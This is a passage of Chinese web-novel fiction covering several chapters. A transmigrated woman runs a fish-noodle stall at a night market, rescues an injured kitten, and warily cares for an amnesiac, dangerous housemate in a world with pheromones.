鱼老板说完话后,示意穆今羽在原地等她,她自己从铺子中走,去到其他鱼摊上开始帮穆今羽询问。 穆今羽见状,站在原地翘首以盼。 鱼老板去得快,回来得也快,回来时手中还拎着三条莫约一斤重的鱼。 穆今羽琥珀色双眼立马亮起来,迎了上去。 “整个肉市都只有这三条鱼了。我让他们给你便宜了一文,你每条鱼给二十四文就够了。”鱼老板问道:“需要我帮你宰杀吗?” 左右这个时辰他们的鱼已经不好卖了,再拖下去也是要便宜卖的,其他老板以这个价钱卖也亏不了。 “要宰杀的。”穆今羽点着头,从自己腰间荷包中摸出七十二文钱递给对方,“多谢阿姐为我思虑,这鱼我拿回家去是要做吃食的,做好后给阿姐拿一份来。” “害,我们都那么熟了,该帮的还是得帮。”鱼老板接过钱,又拿着鱼去到案板旁,一边动作麻利地为穆今羽处理着鱼,一边同她闲聊,“你要做炸小鱼?也对,你母亲们做的炸小鱼是顶好吃的,你有这门手艺,也不愁吃穿了。” “只是你母亲们用的可不是这种鱼。” 鱼老板担心穆今羽买错鱼,还特意提醒到,“你母亲们用的那种鱼,可比这种还要好,得提前一日定好数量,第二日渔民们才好捕捞。” 那种鱼数量少极难抓到不说,捕捞上岸后更是活不了多久就会死亡,变得不新鲜。 所以大家想买,都要提前找相熟的渔民约定好要多少,渔民们捕够差不多的数量,这一日就不会再下网了。 “多谢阿姐提醒。”穆今羽特意卖了个关子道:“我要做的不是炸小鱼,是另一种吃食。等我晚上给阿姐带来,阿姐尝了就知道了。” “好好好,你真有出息!” 一刻钟后,穆今羽拎着处理好的鱼,往回家的方向走去。 三条鱼总共三斤,处理完后,鱼肉就只剩了一斤半左右。 比起穆今羽预计的量少太多,但有总比没有好。 她今日,可以先用这三条鱼在夜市街中试试水,遇到什么问题好及时调整,也亏不了太多。 如果敲鱼面确实好卖的话,她还盘算着在鱼老板这里提前预定更多的鱼。 这样就不用担忧买不到鱼了。 回到家中,她终于是处理完所有事,可以坐下来休息会儿了。 刚一进门,坐在门边一直等着她的荣姮就站起了身,眼神落在她身上,眼中没有太明显的情绪。 甚至还因为她的回来,又朝旁边退让好几步,拉开两人的距离。 使得穆今羽没有发现荣姮一直在门口等着她。 她把鱼肉放在灶台上,这个季节已经过了最热的时候,气温在慢慢降低,敲鱼面放一下午也不会坏。 “你来。你今日肯定还没有换药,对不对?”穆今羽冲荣姮说道。 别看她今日一整日都跑来跑去,忙忙碌碌的。但她也是有注意到,荣姮根本就没有换药。 现在她得了空,肯定是要督促着对方换药的。 本就同她保持着距离的荣姮,听到她说这话,脑海中一下就回想起昨日,对方抓住自己往自己身上涂东西时,而传来的钻心疼痛感。 她虽知晓对方可能是为她好,但好疼啊。 她不想那么疼。 伴随着穆今羽说的快过来,荣姮的身形越退越远,都退到墙边贴着墙了。 穆今羽脑袋上冒出个问号,说道:“你不是都知道我不会伤害你了吗?还跑什么?” “你身上的伤太严重,不上药你可能会没命。” 别看现在荣姮能跑能跳,能吃能喝的。可她的伤口已经隐隐有开始变坏的迹象,如若不提早控制,说不定哪一天荣姮就会因为伤口感染而陷入昏迷。 最终丧命。 穆今羽不想看见一条鲜活的人命,在自己的纵容中流逝。 所以,她同荣姮对视一眼,又开始昨日那般猫捉老鼠的追逐场面。 她猛地朝荣姮扑去,想要抓住对方。 而荣姮更是机敏。 腰一弯,脑袋一低,从她手臂下钻出,绕着院子开始转圈逃跑。 穆今羽没有放弃,撩起自己的袖子,眼神锁定在荣姮的背影上,势必要抓住对方! 两人绕着不大的院子跑了一圈又一圈。 好几次,穆今羽都快抓住荣姮的衣角了,却还是被对方逃脱。 那速度,快的都不像伤者了。 最终,荣姮跑到灶台旁时,穆今羽灵光乍现,双手撑住灶台,像跳马似的直接翻到荣姮身前。 堵住荣姮的去路。 荣姮哪里想得到可以抄近路?!她还以为两人会一直转圈追呢! 把人抓到后,穆今羽明亮的眸子中带着些震惊,看了看灶台这边又看了看灶台那边。没想到自己那么活泼,竟然能翻越整个灶台? 简直佩服自己,佩服的不行。 只不过有些上气不接下气,体虚气喘罢了。 她一手叉着腰,一手把荣姮拉到石桌旁坐下。 “别、别跑了,反正你也、也躲不掉。”穆今羽喘着气,脸上带着得逞的笑意,看向一脸郁闷的荣姮。 荣姮蹙着眉,皱着鼻头,瞪了眼前的人好几眼。 因着刚才的你追我赶,空气中弥漫起少量的信香味儿。 起初穆今羽还没在意,还找出伤药,准备为荣姮换药。 可不知从什么时候开始,她觉得自己恍惚了。 眼前好似出现一株长着嫩绿叶片的梧桐树,树周身缠绕着金红相间、如丝线般的幽幽暗香。 那是什么呢? 眼前的荣姮微微动了动被捏住的手腕,如削葱根般的手指蜷缩,指尖泛粉。 穆今羽瞳孔发颤,直挺挺一株向上生长的菊,依偎在梧桐树上。 是凤凰振羽。 其花瓣细长,由内朝外舒展而开,末端又朝里卷曲,呈现含苞之势。 体态优美,肆意生长,散发出蓬勃的生命力。 其颜色更是呈现出,如火焰燃烧般璀璨夺目的金红色。 属于十大名菊之一,金尊玉贵,优雅高洁。 她感觉自己的魂飘飘然在身体之外,一切的一切都变换着各种形态,放大、缩小。 令她深陷万花镜的囹圄之中,不得章法。 穆今羽不知自己是如何替荣姮上完药的。 她只记得自己几乎是飘回屋子里的。 再次有记忆时,已经是酉时了,也就是下午五点到七点之间。 天呢! 穆今羽捂着脑袋,猛然坐起身,有些难以置信自己一觉睡了这么久? 可她为什么会忽然睡着? 啊……是信息素!是荣姮的信息素! 把她搞得跟喝醉了似的,双颊烫红,糊里糊涂。 10、第 10 章 穿越到这个世界的第二日,穆今羽终于对什么是信息素有了实感。 太香了,荣姮的信息素香的让她迷糊。 且不给她反应时间,就让她沉醉其中,分不清东南西北。 这也幸好两人只是因为追逐,而有轻微的信息素泄露。要是遇到易感期、情热期这种信息素控制不住,大量朝外散发的时候。 那她俩不得…… 穆今羽身体抖了一下,突觉这东西真的无比恐怖。 思维断线,一切靠本能支配。 那种身不由己的感觉,让生长在红旗下的穆今羽,心中隐隐觉得不太妙。 她拍拍自己脑袋,让自己警惕这种同毒药无异的东西。 随即赶忙从床上下来,朝外走去。 现在已经五点过了,天色逐渐变暗,等六点时,夜市街就会热闹起来。 她要是再不出门做准备,就赶不上趟了。 她本还想在去夜市街之前,先做碗敲鱼面给鱼老板端去,现在看来已是来不及,只能等她收摊后再去找鱼老板了。 穆今羽来到院中,看见荣姮趴在石桌上睡着,想来也是受了信息素的影响。 她站在石桌前踌躇几步,想着要不要上前去查看荣姮的状态。 可因着她才被对方的信息素影响,还有些许畏惧这种感觉,所以心中有些不敢上前。 最终,她还是离开,走向杂物房的方向,把里面的锅、漏勺、小凳、水桶给拿了出来。 拿这些东西时,还发现了一块木头片,莫约有小手臂那么长,上面画着一条鱼。 穆今羽看了一会儿,便猜到这东西应该是块招牌。 挺好,有块招牌,大家就知道她是卖什么的了。 她把招牌、鱼肉、调味料、碗筷、漏勺等东西规整地放在水桶中,拎着水桶和锅出了门。 去夜市街的路上,还有许多和她同个方向的小摊老板,也拎着东西走在路上。 遇到相熟之人,他们便互相打着招呼,热热闹闹的。 穆今羽被这种气氛感染,心脏跳得快了些,不免兴奋与忐忑起来。 夜市街离得近,几息之间,她就来到自家摊位前,把东西整齐摆在小推车上。又马不停蹄地赶向木材铺,去取自己定做的小桌。 当她看到木材铺那么多木材时,才猛然想起自己连柴火都没买,等会儿生火的时候用什么? 穆今羽拍拍脑袋,暗叹自己还是太着急了些。 这不,果然遇见问题了。 可时间有些来不及,穆今羽检查完自己定做的小桌,确认没问题付了钱,连抬带举地抱着三张小桌,摇摇晃晃往回赶。 好不容易把小桌放在自家摊位上,她已经累得气喘吁吁,手臂酸软了。 可这还没完,她又赶回木材店,抬着最后一张小桌去了柴店。 买了三捆柴,又花了一文钱让店小二帮她运柴。 忙完这些,穆今羽又着急忙慌拿着木桶去夜市街的水井旁,打水。 快六点了,水井旁打水的队伍排起长队,都是准备打水回自家摊位上用的摊老板们。 在这里排了一刻钟,才终于轮到她。 拎着一桶水回到自家摊位上,穆今羽双臂早就累得抬不动了。 前世的她刚开始去打工时,也是这样。端一天的盘子,摇一天的奶茶下来,双臂跟失去了知觉似的,根本动不了。 要不是那时生存都困难,恐怕第二天就不会再去了。 后来,陆陆续续打了几年的工,她的双臂练的跟铁臂不说,整个人也消瘦一大圈,看起来更加精神干练。 可现在,身为乾元的原主,身体条件肯定是极好的。 只是对方似乎没有跟着她的母亲们干过这些事,导致穆今羽现如今第一次干,就跟回到打工那时一样,累得不行。 她来回揉捏着自己的手臂,略微缓解手臂上的酸软、疼痛后。 就拿出鱼头鱼骨放在盆中,加入葱、姜、蒜、盐进行去腥。 这个时候已经六点了,夜市街里的人渐渐多了起来。 大家刚吃完晚时,正是出门散步的时候,夜市街中卖各种小玩意儿的商贩们率先吆喝起来,吸引着行人的注意 而像穆今羽这种卖吃食的小摊主,还在继续准备着 她把红薯粉撒满案板,鱼肉放在上面,开始用木棍敲敲敲。 她这新奇的动作,让许多散步的行人频频侧目,好奇地看着她在弄什么东西。 有些人则停下脚步,站在离她摊位三尺左右的距离处,围观着。 穆今羽当然看见了停下来的人。 可她现在根本还没有准备好,汤也没煮好面也没做好,她便没好意思去招揽顾客。 反倒是她旁边卖糕点的摊主,直接开始大声吆喝起来,“走过路过别错过!好吃美味的糕点嘞!” 如喇叭般的声音一出,好些驻足在穆今羽摊位旁的顾客,就朝糕点摊那边看去。 看见那摊上摆着的糕点确实精美,便走过去,开始挑选着。 穆今羽见状有些急了,虽知道对方这样做无可厚非,但对方招揽的都是自己的客人啊! 她没准备好又怎样?先把客人招揽下再说其他! 她立马开口,也是大声说道:”全楼许县唯一一家敲鱼面!鲜香四溢,回味无穷的敲鱼面!” “敲鱼面?” 好些行人脸上露出疑惑的表情,他们在楼许县生活了那么久,甚至汴京城都去过几次,还从未听说过什么敲鱼面? 他们左看右看穆今羽的动作,倒是能看出对方拿着木棍,一直在敲什么东西。 那东西好像裹上了一层粉末,灰灰白白的,被不断敲打着变成圆形片状。 好几个人没忍住,纷纷朝穆今羽询问道:“这位摊主,你口中所说的敲鱼面是什么?” 听见有人询问,穆今羽脸上扬起笑容,又圆又亮的眼睛以及饱满的鹅蛋脸,为她增添了许多亲和力。 周围人来人往有些吵闹,穆今羽大声介绍着自己做的敲鱼面。 大家见这摊主那么热情,人也明亮又积极,忍不住心生好感,不断询问着各种各样的问题。 穆今羽一一解答的同时,手上动作没有停。把所有鱼肉全部做成鱼面片,放在锅上炙烤烘干。 等鱼面片烘干,她又往锅里放入去好腥味的鱼头鱼骨,加上水,开始熬煮。 也就是她这次的鱼肉少,全做成鱼面片也要不了多少时间。 要是再多些,她就忙不过来了! “摊主,你这什么敲、敲鱼面,要等多久才能吃到?”来的最早的行人已经有些等不及,“你给个准数,要是快的话我就尝尝。要是实在太久,我就散完步再回来吃。” 穆今羽边把鱼面片切成条状,边回答着大家的问题,脑门上都起汗了。 听到这人问,她道:“估摸着还得要两三刻钟的模样。” 主要是这熬鱼汤要的时辰久些,得把鱼汤熬出味儿来才能下面。 这行人一听到还要等那么久,当即就说:“那我等会儿再来。” 她没有留恋,转身就走。 她其实不是一个人来的,她本是打算去见自己两小无猜的青梅竹马。 只是好奇敲鱼面是什么东西,才在这里驻足。 现下耗了许多时辰,已是快不及,再等下去,她担忧对方会不高兴。 她匆匆赶去和自己的青梅竹马见面,又同对方在夜市街逛了许久,也尝过了各种各样的吃食。 本是心满意足。 可越吃夜市街里的东西,她脑海中就总挥之不去,穆今羽用木棍敲打着鱼肉的奇特做法。 那种新奇的吃食,她还没尝过嘞。 越想越馋。 姑娘走着走着,突然停顿下来,一拍手道:“唉呀!万一那东西真的好吃,去迟了不就没了!” 11、第 11 章 姑娘着急起来,那种做面的方法,她以前从未见过,想来楼许县大部分人也没见过。 秉承着凑热闹的想法,肯定也会有很多人买的。 要是不好吃也不碍事,就当图个新鲜。要是好吃,那就是赚到了。 她是第一个围在敲鱼面摊旁的,本可以第一个吃到,哪想因为一念之差,搞得她现在也不知赶回去还吃不吃得成。 这位姑娘其实对敲鱼面没抱太多希望。 她本不是个爱吃鱼的人,只是见着那做法新鲜,怎么着都想尝一下罢了。 “发生了何事?为何突然停下?”姑娘身旁的人关切地看着她,担忧她是不是哪儿不舒服。 “我无事,走,陪我去买点东西!”姑娘一手拉着身旁人的衣袖,一手拨开浪潮般的人群,朝着穆今羽摊子的方向赶去。 而穆今羽的摊位旁,好些人听到还要等那么久,都同那位姑娘一样,直接离开了。 霎时间,她的摊位旁只剩零零散散几个人,还都是刚刚才来的。 穆今羽望眼欲穿地看着那些离去客人的背影,嘴巴微张,口中挽留道:“好嘞!你们逛完夜市街可一定要回来尝尝,我这可是顶好吃的!” 任谁都知道,客人们只是客气客气,说是去逛一圈再回来,实际上这一走就不会回来了。 穆今羽很想要留住那些人,可她这面确实还要许久才能做好,即便把客人留住了,也只是给他们徒增烦躁。 哎……穆今羽暗叹一声,收回视线,开始切着鱼面片。 她切出来的面,不像平时吃的那种面条那么细,而是莫约两指节宽,有些像铺盖面。 面很快被切好,可锅中的鱼汤还没有熬好。 客人们来了又走,走了又来,把穆今羽也搞得有些着急。连往灶里添了好几根木柴,想要火势烧得更猛烈些,快快把鱼汤熬好。 又是一刻钟过去,看着锅中的鱼汤咕噜咕噜变得迅白,鱼头鱼骨也被熬得软烂。 鲜香的白烟从锅中飘出,传遍街头巷尾。 她知道,这汤终于是熬好了。 穆今羽高兴地朝周围喊了一声,“敲鱼面好了!十文钱一碗!” 她有在心中估算过,一斤半的鱼肉可以做出两斤左右的敲鱼面,两斤敲鱼面,又可以装二十碗。 再加上红薯粉及其他调料的价钱,一碗敲鱼面卖十文钱最合适不过。 她可以赚整整一半还多。 围在周围的行人听见敲鱼面好了,纷纷露出兴致盎然的表情,刚准备开口要一碗,就又听到穆今羽说十文钱一碗。 向前的动作停顿住,行人们有些惊讶于敲鱼面的价钱。 要说一碗面卖十文钱,他们倒也能接受,但那只是在外面正街上吃早食或晚食,他们才愿意。 要说来夜市街吃点小零嘴,都要花十文钱,怎么想都觉得有些不划算。 大家你看看我,我看看你,心中无比犹豫,都在等着对方第一个尝试。等对方确认这面真的好吃后,才愿意买来尝尝。 不过这汤的味道倒还真挺香的。 他们也不是没吃过鱼,每次吃鱼都觉得那鱼腥气得很,不管多贵的鱼都一样,吃几口也就不爱了。 哪像今日这般,闻着味道就让他们口齿生津,明明才吃过晚食的肚子隐隐有响声发出。 似是又饿了。 穆今羽吆喝完,本以为周围等了许久的客人会纷纷上前吃面。 哪想居然没人来! 她装作忙碌的样子,把小推车上的东西摆来摆去,那双大眼睛偷摸扫向周围围着的客人。 她明明能感觉到对方是想吃的,只是为何迟迟不上前来? 穆今羽有些心慌,不仅脑门上冒汗,后背更是发凉,怕自己做的东西没人买账。 不应该呀,原主母亲们能在夜市街卖炸小鱼,就说明这个地界的人并不排斥吃鱼。 那为何没人愿意尝试? 她想了想,率先把一把面扔在鱼汤里。 极长的公筷在汤里搅动几下,更多热气冒出,把她这处小摊弄得云雾缭绕,仙气飘飘。 看着就是一副温馨又热闹的景象。 不到一息,汤里的面就煮好了! 她先是舀了半碗面汤在碗里,又用大漏勺盛出面倒入碗中。 “来来来!来者皆是客!感谢大家捧场,我这小老板请大家尝尝咱们家的敲鱼面!” “大家都尝尝,都尝尝!觉得好吃咱再买,保证不会让大家花一分冤枉钱!” 她端着碗又拿了好几双筷子,从小推车后走出,朝外面围着的客人递过去。 见她递来的碗,周围的人有些发懵,还是头一次知晓面也有先尝后买的说法。 众人又是互相看了看对方,脸上表情堪称纠结。 好一会儿,才有一人率先走出道:“那我就先尝了,你可别事后要银子。” 见终于有人愿意尝试,穆今羽松了口气,笑着道:“这碗面就是拿给大家试吃的,保证不会收大家的银子。” 那人接过穆今羽递来的筷子,从碗里挑了一根面条,到一旁去吃。 其余人见状,也纷纷拿着筷子从碗中挑了一根面,独自吃着。 鲜甜柔润的面条吃进口中,所有人眼中都露出惊讶的神色,呆站在原地久久反应不过来。 这真的是面条吗? 可比他们常吃的素面好吃多了! 又鲜又香不说,口感还比其他死硬的素面好上许多。 柔软。 顺滑。 弹牙。 他们就没有吃过这么好吃的面! “我要一碗!” “我也要,我也要!” “不就是十文钱吗?来一碗!” “老板先做我的当做我的,我也要一碗!” 这下周围的人哪还想得起,自己几息之前还觉得十文钱贵呀。 他们纷纷围在小摊旁,你挤我我挤你的朝穆今羽点着面,生怕对方比自己先。 热情非凡。 “好好好,大家可以先坐!面很快就来!” 穆今羽悬着的一颗心终于放下。 12、第 12 章 穆今羽小摊后的位置全部被坐完,小摊前又围了新一批凑热闹的人。 她数清楚总共点了多少碗面后,刷刷刷往锅里扔入敲鱼面。 敲鱼面熟得快,只用在锅里咕咚咕咚煮上几息,再捞出来时就已经变成了雪白晶莹剔透的模样。 接着她又往锅中扔上一把生菜,等所有敲鱼面都盛到碗里,锅中焖着的生菜也熟了。 她往每个碗里多加了几根生菜,雪白和翠绿夹杂,是最为鲜亮开胃的颜色。 把十碗面挨个端给小摊后坐着的人,他们迫不及待吃起来,热气慢悠悠飘向天空,最终消失不见。 小摊前围着的人也等不及,挤来挤去冲穆今羽点着面。 二十碗面的量还是太少,穆今羽没花一会儿功夫就全部卖完。 甚至还有好些客人从街头巷尾走来,满怀期待道:“老板,你这卖的什么吃食?好香呀啊,我隔老远都能闻见。” 他们伸长脖子往穆今羽小推车上看,左瞧右瞧也瞧不出来是卖什么的。 此时,穆今羽身后坐着的客人已经换了一批,她把最后一碗面端上桌了这才回答道:“我这里是卖面的。” “我这面和其他面大有不同,是用鱼肉做的,吃上一口那滋味简直鲜掉舌头!” 听见是卖面的,询问的人脸上不经意露出一丝失望。 面有什么好吃的?不都一样? 而且她这才吃完晚食,来吃什么面啊? 一些客人离开,又过了一会儿,才又有人来问穆今羽卖的是什么。 她一一解答。 有一男子走来,朝穆今羽身后望了望,看着那些埋头唏喱呼噜吃着面的人,觉得那些人太小题大做,就是一碗面,即便再好吃,也不至于吃得头也不抬吧? 男子对这面的味道是不抱希望的,但他已经闻着香味走来,怎么着也得尝试一下,“算了算了,来都来了。老板给我来碗面,你这面卖多少文一碗?” “十文钱一碗。” 听到这个价钱,本来还打算吃面的男人脸色变了一下,又改口道:“你这抢钱呢?不吃了不吃了。” 十文钱在整个夜市街吃食中,属于价格高昂得了。 他没必要在这里花那么多钱,就只为吃碗面。 穆今羽拿着帕子擦拭着案板、刀,以及小推车的桌面,正想解释今日面已卖完。 可话还未出口,就有一人急匆匆走到小推车前,大声道:“老板,他不吃我吃,我要两碗!” 最开始离开的姑娘,终于带着自己的青梅竹马赶到小推车旁。比出两根手指,在穆今羽眼前晃着。 她一进入到这条街,就闻见一股浓郁的鱼香味儿,猜就知道是敲鱼面的味道。 没想到这面如此之香,姑娘心中越发后悔自己走早了。 “老板你这敲鱼面好香,我从没闻见过这么香的面,肯定好吃!” 姑娘满怀期待,忍不住咽了咽口水。 而一旁反悔说不吃了的男人,脸色有些发黑,他感觉自己被这姑娘给呛声了。口中不算小声的嘀咕道:“人傻钱多。” 此话一出,小推车旁的姑娘的眉峰瞬间竖在一起,看向这人,反应极快得阴阳怪气道:“吃碗面都要纠纠结结,一会儿吃一会儿不吃,傻人多作怪。” 眼见着这两人有吵起来的趋势,推车后的穆今羽立马探出身,拿双臂在两人中间挡了一下。 打圆场道:“两位主顾、两位主顾,今日的面已经卖完,只有明日才有了。” “我这里用的鱼是贵价的鱼,十文钱包您吃着好吃,花着划算。” “大家都是高高兴兴来逛夜市街的,犯不着因为一点小事而让心中郁结,犯不着,犯不着。” 今日是她做生意的头一日,穆今羽当然不希望自己的小摊前发生点什么意外。她来回劝了好一会儿,才把这两快要吵架的人给劝开。 那姑娘站在一旁,不再看对方,而是冲穆今羽道:“老板你明日什么时候出摊?我一定早早来等着。” “多谢姑娘捧场,明日酉时四刻出摊。” “我也要来看看你这面到底多好吃!”男人插了一嘴,说罢,头也不回的离开。 姑娘毫不客气翻了个白眼,同穆今羽告辞后,拉着青梅竹马走了。 解决完这桩事,穆今羽继续收着自己的摊子。 期间有人来询问,穆今羽便借机告诉他们,自己明日六点会来出摊,希望他们多多捧场。 今日由于她准备的不够充分,收摊时还不到九点,对于要热闹到子时的夜市街来说还太早。 等所有吃面的人走完,她把小桌擦干净,小凳放于小桌之下,不打算带回家。 从热闹的夜市街出来,周遭一下安静下来,没有灯笼的路黑黝黝的,有些看不清。 她拎着水桶,拿着锅,在黑夜中埋头朝着家的方向走去。 走到一半时。 身后是灯火阑珊,身前忽有又细又弱的小猫叫声发出。 “猫?” 穆今羽停下脚步,左右望望,想着会不会是自己听错了。 “喵……” 隐隐约约的小猫叫声再次响起,这下终于确定是真有猫,穆今羽放下自己手中的水桶和锅,朝声音传来的方向仔细寻找。 街两旁都是青瓦房,偶有几户人家的院子里种的有树。 天色太暗,穆今羽弯着腰仔细看着墙根处,许久才在漆黑中看见一只不显眼的彩狸。 夜市街卖吃食的商贩多,猫狗自然也多。它们偷摸隐藏在各个角落,有机会便出来捡点吃食。 有些商贩对猫狗友好,还会喂它们一点东西。 但有些商贩会觉得它们脏兮兮的,影响了自家生意。 穆今羽看着眼前这只可能才两三个月大,后腿上有一条豁口,鲜血染了半个身子,贴着墙根奄奄一息的小猫。 不用猜都知道,这只小猫绝对是被嫌弃了。 她学着猫叫声,小心翼翼蹲在小猫身前。 可即便这样,也吓得小猫用仅剩的完好的三条腿支撑起身体,一边炸毛,一边冲她哈气。 想要保护自己。 “别怕、别怕。我不会伤害你。” 彩狸长得丑乖丑乖的,炸起毛来像海胆。 穆今羽把水桶里放的东西,腾了大半在锅里。 后又用衣袖把手给裹住,电光火石间掐住小猫的后脖颈,把猫给拎起来放入水桶中。 水桶的深度,对于现在的小猫来说还太深,根本跳不出来。 只能急得在桶中团团转,凄厉的喵着。 穆今羽拎着水桶,又扛着锅,一反之前的悠闲,脚步极快的朝家中赶去。 不到半刻钟就回到家里。 院中,荣姮从门处离开,同穆今羽拉开距离,眼神好奇地上下扫视着她。 有些猜不透她身上为何会有喵喵喵的响声? 直至穆今羽放下东西,从水桶中捧出一只半大小猫。 荣姮眼神在小猫身上停顿许久,才第一次尝试开口说话,单纯地问道:“要把它杀了吗?” 穆今羽:??? 13、第 13 章 穆今羽上牙齿和下牙齿碰到舌头,吃痛问道:“什、什么?” 她的情绪还来不及惊讶荣姮居然开口说话了,就率先被一股寒意占据。 杀谁? 杀她还是杀猫? 杀猫? 荣姮看到一只受伤的小猫,第一反应居然是杀掉吗? 她无意识朝后退一步,拎着小猫后脖颈的手朝自己的怀中靠了靠,另一只手虚挡在小猫瘦弱的身躯前。 是隐隐护住小猫的姿势。 荣姮脑袋歪了歪,似乎不觉得自己这样说有什么问题。 她觉得那只猫活不了,既然活不了,那还不如提前减轻猫的痛苦。 这是脑袋中自然而然冒出的想法,她也不知为何。 荣姮没说话,站在原看着穆今羽。 散开的到大腿处的乌黑长发,细长如两柄剑插于岩石中的双眼,深黑到有些反光的眸子。 在静悄悄的夜中,显得那么鬼气森森。 穆今羽又朝后退了一步,咽了咽口水,不知是安慰自己,还是在同荣姮交代。 她道:“不杀,不杀。家中还有伤药,我去给这只小猫上药,上了药就会好的。” 说完,她靠着边,同荣姮保持着距离,艰难挪动到自己的屋门旁。 飞速进屋关上门,没有让荣姮跟上来。 一日下来的幸运与喜悦,被刚刚那股寒意冲散,激的穆今羽打了个抖,心中告诫自己要对荣姮小心再小心。 她还是太容易把别人当成好人了。 她只不过才同荣姮相处了两日,明明知晓荣姮是个极度危险的人,却因着对方失忆,而轻易觉得对方变好了。 事实上,荣姮只是失了忆。根本不会改变本心。 书中那些形容荣姮的词语,也不是写着玩的。 穆今羽努力控制住自己内心的害怕,调整呼吸,勉强让自己平静下来。 只要小心些,不要惹到荣姮被记恨就行,没事的没事的。 她把小猫放在屋内,站在梳妆桌旁翻找着能照明的东西。 她记得两位母亲屋子里是有的。 翻找一会儿后,穆今羽从梳妆桌的抽屉里翻出一个油灯。 这灯形状似碗,但底座与壁要比碗厚。油灯的底座厚,是因为要更好的放置,以免侧翻。而油灯壁厚,则是因为里面有一道夹层。 油灯中倒入油,夹层里面灌进水。这样在使用油灯时,油就不会因为温度过高而使挥发速度变快,以达到省油的目的。 大家都称呼这种灯为省油灯。 是当下平民老百姓之间最为时兴的一种油灯。 穆今羽把省油灯拿在手中,翻来覆去看了几眼。 油灯中粘着一根有些发黑的灯芯,但没有油,点不燃。 两位母亲们通常用极为便宜的豆油来点灯,只是这屋中没有,要去杂物房里找才行。 可,一出门就会对上荣姮…… 穆今羽在屋门前踌躇半晌,心中不断鼓励着自己,拿出追赶荣姮、替荣姮上药的气势,走出这道门,去找豆油。 反正荣姮也打不过自己,自信点。 鼓励着鼓励着,她双手放在门上,准备一鼓作气拉开门出去之时,脑海中却循环播放起荣姮的话。 “要把她杀了吗?“” 此时,这话不是说猫的,而是说她的。 穆今羽脑海中立马浮现出荣姮恢复记忆后,凶神恶煞,眉尾、眼尾吊高到插入头发间,眼下两颗红痣闪着嗜血光芒,口中四颗兽牙暴长的模样。 穆今羽手一抖,彻底不敢出去了。 算了算了,为了不让荣姮犯杀孽,还是别出去了。 她转身把小猫拎到梳妆桌上,冲着它说道:“别怕别怕,我不会伤害你的。” 窗边有微弱月光透进来,穆今羽就着那一点月光,查看小猫腿上的伤口。 也幸好小猫还比较小,她能轻易拿捏住对方,不至于受伤。 小猫腿上的伤口看起来像是一个深洞撕裂开,穆今羽猜测是有人用东西砸出来的。 她拿出伤药,小心翼翼替小猫包扎好,还特意多裹了几层,以防小猫舔到。 替小猫包扎好后,她又用一根手指挠挠小猫的脑袋顶,安慰道:“不会有事的,你会好好的。” 回应她的是凄厉的叫声。 穆今羽无奈,把小猫放在地上,任由对方咻一声躲到床下去了。 院中,荣姮呆呆地在原地站了许久,也等不到穆今羽出来时,才反应过来穆今羽或许不会出来了。 她努力思考,为何今日的穆今羽与昨日不一样? 但她想不明白。 她只知晓自己不想去另一间屋子,只知晓今日好似乎还有什么事没做。 她只能走到穆今羽的屋门外,蹲坐在地上,静静地等着。 屋内,穆今羽把今日所赚的所有铜板,叮铃咣啷倒在梳妆桌上,一个一个数着。 一、二……两百。 总共两百枚铜板,就是她今日努力赚来的成果。 穆今羽心中美滋滋的。 把这两百枚铜板穿成两串,和自己剩下几十枚铜板混在一起,又在心中计算着,明日该买哪些东西。 鱼得多买几条,至少得卖到子时才行,时蔬也得多买些。 还有碗,现在二十几个碗,倒是也够。但她听到好些客人说,她这面有些多,才吃过晚食,根本就吃不下。 也有客人说,她这面卖的太贵,早食或晚食的时候他们倒是会吃,但当做小零嘴可就不划算了。 穆今羽想着,那她是不是得买几个更小的碗?和自己家中的碗区分成大份和小份? 大份依旧卖十文钱一碗,小份则卖的再便宜一些,六文或八文? 思索间,穆今羽点点头,觉得这样可行。 她如果是在外面的街上卖正餐,那她这面的分量就正好。 但她现在是在夜市街卖宵夜,不可能分量价钱和正餐一样,否则会对往来行人产生负担。 如此定下来后,她又把桌上摆着的铜板数了一遍,计算着自己能买多少钱的鱼、多少钱的菜、多少钱的碗。 现在的银子还是太少,买什么东西都得算计着来,一个不小心就会变成穷光蛋。 等这些事盘算得差不多,穆今羽站起身,双手反叉着腰,扭动着因干活而僵硬酸痛的身体。 肚子不合时宜咕咕叫起来,她这才反应过来,今日还没有吃晚食。 “嘶!” 穆今羽动作顿住,猛然想起荣姮也没有吃东西! 14、第 14 章 这下穆今羽有些纠结了,两人毕竟是在同一屋檐下生活,她避不开荣姮的。 无法,她起身朝窗户边靠去,竖着耳朵仔细听窗外的动静。 没听见什么声响。 难道荣姮已经回屋了? 回屋就好办了,她可以做好吃食,再同荣姮分开吃,最大限度的避开对方。 穆今羽深吸一口气,双手推开屋门,正准备走出时,倚靠着屋门而坐的荣姮毫无防备朝后倒去。 正巧撞到穆今羽的腿上。 穆今羽哪能想到还有这一出,整个人直接僵住,退也不是不退也不是。 荣姮在她门口做什么? 堵她? 荣姮反应慢慢的,整个人倒在穆今羽腿上后,也没有着急离开,而是仰起头看向她。 借着冷清的月光,穆今羽能看见荣姮脸色苍白、下巴削尖、连身形都是瘦弱的。 一副萎靡的模样。 难道是快饿晕了? 穆今羽心中隐约有愧疚之感冒出,她可以因为忙忽视自己的身体,但不能忽视荣姮的身体啊。 小心翼翼挪开自己的双腿,冲荣姮道:“你坐好,我去做饭。” 她其实不知该用什么态度面对荣姮。 太信任可能会被荣姮伤害,时刻保持警惕,又显得对失忆的荣姮过分苛责,而对自己来说也会很累。 穆今羽不太敢和荣姮待在同一空间下太久,她偷瞄对方一眼,悄摸贴着门边走出,来到灶台边。 荣姮根本没有察觉到她的躲避,反而像小尾巴似的,跟在她身后一起来到灶台边。 惹得穆今羽不敢看她,目不斜视地把灶中生起火,打算拿仅剩的生菜做个菜。 又放了两个红薯到灶膛最边缘,保证红薯既不会被烤坏,又容易熟。 家中食物太少,翻找来翻找去,也只有这么一点吃食。 看来明天还要匀出点铜板,去买些吃食放在家里才行。 至少米和鸡蛋得有。 等待锅中水烧开时,穆今羽又把用来煮敲鱼面的那口锅放在台面上。 锅里的鱼头鱼骨汤她已经倒掉,只剩下一些残渣,她不知晓应当丢在夜市街的哪里,故而带了回来。 现在正好把上面的鱼肉剔一剔,再过一遍水,等会儿拿给那只小彩狸吃。 穆今羽在忙碌,荣姮就如同昨日那般,蹲在她对面,双手和下巴都放在灶台边缘,看着她动作。 穆今羽被盯得难受,身子忍不住侧开。 锅中水烧开后,生菜往锅里一扔,烫个几息,便捞出放入盆中。 穆今羽把姜蒜切成沫,又混着盐、花椒、胡椒、酱油一起倒在盆里,搅拌均匀。 一道凉拌生菜就做好。 